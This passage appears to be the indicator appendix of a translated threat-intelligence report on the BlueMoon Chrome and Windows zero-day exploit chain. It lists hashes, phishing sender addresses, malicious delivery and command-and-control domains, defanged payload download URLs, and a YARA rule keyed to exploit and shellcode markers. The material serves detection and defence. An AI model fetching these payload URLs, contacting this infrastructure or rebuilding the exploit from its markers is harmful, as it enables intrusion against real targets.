353b5bd2780c1b0c07c1283d83cf16cf1e9ec226c17b2d09d56848893f9d98ee	SHA256	background.js	August 2026
secboxes[.]com	Domain	TA412 delivery and download domain	August 2026
msbenefit[.]com	Domain	TA412 delivery and download domain	September 2026
attcdn[.]com	Domain	TA412 delivery and download domain	September 2026
recommendation-letter.secboxes[.]com	Hostname	TA412 BlueMoon exploit page	August 2026
asianstudies.secboxes[.]com	Hostname	TA412 BlueMoon exploit page	August 2026
materials-project.secboxes[.]com	Hostname	TA412 BlueMoon exploit page	August 2026
project.secboxes[.]com	Hostname	TA412 BlueMoon exploit page	August 2026
evidence.msbenefit[.]com	Hostname	TA412 BlueMoon exploit page	September 2026
data.attcdn[.]com	Hostname	TA412 BlueMoon exploit page	September 2026
hxxps://project.secboxes[.]com/ChromeUpdate.exe	URL	Download URL	August 2026
hxxps://recommendation-letter.secboxes[.]com/ChromeUpdate.exe	URL	Download URL	August 2026
hxxps://download.secboxes[.]com:443/dist.zip	URL	Download URL	August 2026
hxxps://api-prod.secboxes[.]com:443/download	URL	Download URL	August 2026
hxxps://evidence.msbenefit[.]com/msgbox.exe	URL	Download URL	September 2026
hxxps://zki0y83.msbenefit[.]com:443/feed	URL	Download URL	August 2026
extension-management-portal.centerfjdr658.workers[.]dev	Hostname	GemStone browser extension C&C	August 2026
extension-management-portal.kmjukilo-lkjh.workers[.]dev	Hostname	GemStone browser extension C&C	September 2026

UNK_LateNight
Indicator	Type	Description	First Seen
a4a6a04d85eca8d584d939d2437c85a4f291207d8042f2ec002838e336b72ef5	SHA256	Index.js (BlueMoon exploit JavaScript)	September 2026
295fc584f75e94108c9be945977db33ed80421f5d374eab188587c911dffd915	SHA256	msgbox.exe	September 2026
bc7d24f5cf8937b334966201bdcce8ca9bab6ec5889d40a399d4094dcad73360	SHA256	mctsetup64.dll	September 2026
zfg.rc.420@gmail[.]com	Email address	Sender email	September 2026
laylowthiago@gmail[.]com	Email address	Sender email	September 2026
susan.thomas.90@outlook[.]com	Email address	Sender email	September 2026
mariedubois1917@outlook[.]com	Email address	Sender email	September 2026
reallifetalktv2@gmail[.]com	Email address	Sender email	September 2026
airproducts[.]ink	Domain	BlueMoon exploit delivery domain	September 2026
precipart[.]ink	Domain	BlueMoon exploit delivery domain	September 2026
epsilonsystems[.]net	Domain	BlueMoon exploit delivery domain	September 2026
rocketlabusa[.]ink	Domain	BlueMoon exploit delivery domain	September 2026
spectrolab[.]fit	Domain	BlueMoon exploit delivery domain	September 2026
ms.checrity[.]com	Hostname	ShadowPad C&C hostname	September 2026
checrity[.]com	Domain	ShadowPad C&C domain	September 2026
79.133.56[.]90	IP address	Fallback ShadowPad C&C server	September 2026
aurexdefense[.]online	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
cyclokinetics[.]online	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
sncorp[.]fit	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
tcomlp[.]online	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
bosch-sensortec[.]site	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
smxtech[.]xyz	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
lindes[.]ink	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
silvustechnologies[.]online	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
worldview[.]fit	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
emcore[.]ink	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
airindia[.]fit	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
airliquide[.]lol	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
apollohospitals[.]fit	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
haloengines[.]net	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026
jetoptera[.]co	Domain	Suspected BlueMoon exploit delivery domain (Shared IP resolution)	September 2026

UNK_QuietRacket
Indicator	Type	Description	First Seen
b34802a646fc4a8f07ffa09a5fda8bf7327446b22e3d7bb5163dafa1e2a8bb2b	SHA256	Loader.js (BlueMoon exploit JavaScript)	September 2026
8453c42904b7b2fea5671b7bff06b2d937632ae29545fd11bc13095627a2805f	SHA256	Indostartupexpo.js (BlueMoon exploit JavaScript)	September 2026
f3c64014221a58f3fde88e562662dbd5a1b3dd2b59c86e9e2bc5cb8f671664e7	SHA256	GFExperienceUpdate.dll	September 2026
87b6b24c06f99900a8aa579caedee1e402015884c925a98dcfb0fb38dfa2de22	SHA256	GFExperienceUpdate.dll	September 2026
faizus123@outlook[.]com	Email address	Sender email	September 2026
firda.kemkes@outlook[.]com	Email address	Sender email	September 2026
faizus123@proton[.]me	Email address	Sender email	September 2026
dewiinpermata@outlook[.]com	Email address	Sender email	September 2026
radhikadas07@outlook[.]com	Email address	Sender email	September 2026
jeannifer.suryajaya@outlook[.]com	Email address	Sender email	September 2026
siti.nurhaliza2026@outlook[.]com	Email address	Sender email	September 2026
ditjenpajakri2026@outlook[.]com	Email address	Sender email	September 2026
yhv41nji.workers[.]dev	Hostname	BlueMoon exploit delivery hostname	September 2026
wcce.joinmacket[.]com	Hostname	BlueMoon exploit delivery domain	September 2026
joinmacket[.]com	Domain	BlueMoon exploit delivery domain	September 2026
openlumakora[.]com	Domain	BlueMoon exploit delivery domain	September 2026
publish.openlumakora[.]com	Hostname	BlueMoon exploit delivery hostname	September 2026
eduac.workers[.]dev	Hostname	BlueMoon exploit delivery, download , and C&C hostname	September 2026
daoahueb.workers[.]dev	Hostname	Download hostname	September 2026
hxxps://app.eduac.workers[.]dev/Service	URL	DLL-sideloading pair download URL	September 2026
hxxps://app.eduac.workers[.]dev/Updateac	URL	DLL-sideloading pair download URL	September 2026
hxxps://small-union-7018.daoahueb.workers[.]dev/	URL	DLL-sideloading pair download URL	September 2026
hxxps://snowy-block-ae0a.daoahueb.workers[.]dev/	URL	DLL-sideloading pair download URL	September 2026
getaiexo[.]com	Domain	C&C domain	September 2026
elixnovorem[.]com	Domain	C&C domain	September 2026
velodynaity[.]com	Domain	C&C domain	September 2026
dns.elixnovorem[.]com	Hostname	C&C domain used for TXT lookup	September 2026
dns.getaiexo[.]com	Hostname	C&C domain used for TXT lookup	September 2026
dns. velodynaity[.]com	Hostname	C&C domain used for TXT lookup	September 2026
v93xdd5g.workers[.]dev	Hostname	C&C hostname	September 2026
black-flower-9250.v93xdd5g.workers[.]dev	Hostname	C&C hostname	September 2026

UNK_DoubleCheck
Indicator	Type	Description	First Seen
ac6bbc4b1f1c62e308781329183a46e18f454c27e66bffa09f343b53ac622b69	SHA256	font-01.js (BlueMoon exploit JavaScript)	September 2026
ac6806c89e294f390838cb07c015dabec1c8ada06ce5161a0ad50b8a72828141	SHA256	calibre-launcher.dll	September 2026
3594ad58fb6217fafe9839e53999a90608c2e9f335fa20aece3d53f8c0802726	SHA256	SysPr.prx	September 2026
3ec3151d8d1278ed966941ac89ea495ef6a80c70613dd9138cc85fc28c9df432	SHA256	krita.dll	September 2026
6e6378d8d404166da89d982e80bc52e19a3f677201258dec1775f100a027a92d	SHA256	SysPr.prx	September 2026
mailtbox.workers[.]dev	Hostname	BlueMoon exploit delivery hostname	September 2026
vncdc.mailtbox.workers[.]dev	Hostname	BlueMoon exploit delivery hostname	September 2026
brianwilli[.]com	Domain	Download domain	September 2026
homepage.brianwilli[.]com	Hostname	Download hostname	September 2026
1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com	Hostname	Download hostname	September 2026
fracons[.]com	Domain	C&C domain	September 2026
hxxps://homepage.brianwilli[.]com/d/calibre-launcher.dll	URL	Download URL	September 2026
hxxps://homepage.brianwilli[.]com/d/wint.exe	URL	Download URL	September 2026
hxxps://homepage.brianwilli[.]com/d/85rY.dat	URL	Download URL	September 2026
hxxps://homepage.brianwilli[.]com/d/SysPr.prx	URL	Download URL	September 2026
1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com	URL	Download URL	September 2026
hxxps://1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com/datago/krita.exe	URL	Download URL	September 2026
hxxps://1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com/datago/krita.dll	URL	Download URL	September 2026
hxxps://1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com/datago/SysPr.prx	URL	Download URL	September 2026

YARA rule

rule MAL_BlueMoon_ExploitKit
{
    meta:
        author = "Greg Lesnewich"
        description = "track BlueMoon exploit kit"
        date = "2026-09-01"
        version = "1.0"

    strings:
        $core1 = "CVE_EXP_CORE"
        $core1_enc = "CVE_EXP_CORE" base64
        $core2 = "CVE_EXP_NO_D8_DRIVER"
        $core2_enc = "CVE_EXP_NO_D8_DRIVER" base64
        $core3 = "CVE_PROFILE"
        $core3_enc = "CVE_PROFILE" base64
        $core4 = "PAYLOADS_B64"
        $core4_enc = "PAYLOADS_B64" base64
        $core5 = "v8ctf_exp_attempt"
        $core5_enc = "v8ctf_exp_attempt" base64
        $MAP_WORD = "MAP_WORD"
        $MAP_WORD_enc = "MAP_WORD" base64
        $FDA_MAP = "FDA_MAP"
        $FDA_MAP_enc = "FDA_MAP" base64
        $cageRead = "cageRead"
        $cageRead_enc = "cageRead" base64
        $cageWrite = "cageWrite"
        $cageWrite_enc = "cageWrite" base64
        $kExprThrowRef = "kExprThrowRef"
        $kExprThrowRef_enc = "kExprThrowRef" base64
        $confuse_call_regex = /confuse(Call)?\s*\(/
        $confuse_call = "confuseCall"
        $confuse_call_enc = "confuseCall" base64
        $pro_name = "WIN64_PROLOGUE"
        $pro_name_enc = "WIN64_PROLOGUE" base64
        $epi_name = "WIN64_EPILOGUE"
        $epi_name_enc = "WIN64_EPILOGUE" base64
        $hostl_idx = "HOSTL_IDX"
        $hostl_idx_enc = "HOSTL_IDX" base64
        $donor_idx = "DONOR_IDX"
        $donor_idx_enc = "DONOR_IDX" base64
        $unreachable = "=== -9999991"
        $unreachable_enc = "=== -9999991" base64
        $sentinel_last = "0xfeedface0ddba115n"
        $sentinel_last_enc = "0xfeedface0ddba115n" base64
        $sentinel_first = "0xcafebabedeadbeefn"
        $sentinel_first_enc = "0xcafebabedeadbeefn" base64
        $props_word = "0x000007e5"
        $props_word_enc = "0x000007e5" base64
        $len_smi = "0x40000 << 1"
        $len_smi_enc = "0x40000 << 1" base64
        $epilogue_bytes = "0x48, 0x83, 0xc4, 0x28, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c"
        $epilogue_bytes_enc = "0x48, 0x83, 0xc4, 0x28, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c" base64
        $cmd_placeholder = "0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00"
        $cmd_placeholder_enc = "0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00" base64
        $canary2 = "0x92920000"
        $canary2_enc = "0x92920000" base64
        $canary1 = "0x51510000"
        $canary1_enc = "0x51510000" base64
        $prologue_bytes = "0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57"
        $prologue_bytes_enc = "0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57" base64

        $shellcode_byte_marker = {af be ad de 00 ce 02 00 4d 5a}
        $shellcode_deadbeaf_parsing = {41 b8 d7 e8 99 cc 8b 10 b8 78 56 34 12 33 d0 41 3b d0}
        //0000030c 41b8d7e899cc mov r8d, 0xcc99e8d7
        //00000312 8b10 mov edx, dword [rax] {data_306}
        //00000314 b878563412 mov eax, 0x12345678
        //00000319 33d0 xor edx, eax {0x9fc4dd34}
        //0000031b 413bd0 cmp edx, r8d {_start}
        $shellcode_deadbeaf_parsing_b64_str_1 = "QbjX6JnMixC4eFY0EjPQQTvQ"
        $shellcode_deadbeaf_parsing_b64_str_1_enc = "QbjX6JnMixC4eFY0EjPQQTvQ" base64
        $shellcode_deadbeaf_parsing_b64_str_2 = "G41+iZzIsQuHhWNBIz0EE70"
        $shellcode_deadbeaf_parsing_b64_str_2_enc = "G41+iZzIsQuHhWNBIz0EE70" base64
        $shellcode_deadbeaf_parsing_b64_str_3 = "BuNfomcyLELh4VjQSM9BBO9"
        $shellcode_deadbeaf_parsing_b64_str_3_enc = "BuNfomcyLELh4VjQSM9BBO9" base64
        $shellcode_byte_marker_1 = "r76t3gDOAgBNW"
        $shellcode_byte_marker_1_enc = "r76t3gDOAgBNW" base64
        $shellcode_byte_marker_2 = "++rd4AzgIATV"
        $shellcode_byte_marker_2_enc = "++rd4AzgIATV" base64
        $shellcode_byte_marker_3 = "vvq3eAM4CAE1a"
        $shellcode_byte_marker_3_enc = "vvq3eAM4CAE1a" base64

    condition:
        3 of them
}

本ブログは英語ブログ「Once in a BlueMoon: Multiple State-Aligned Threat Actors Rapidly Adopt Novel Exploit Chain Using Chrome and Windows Zero-Days」の日本語訳です。英語原文との間で内容に齟齬がある場合には、英語原文が優先します。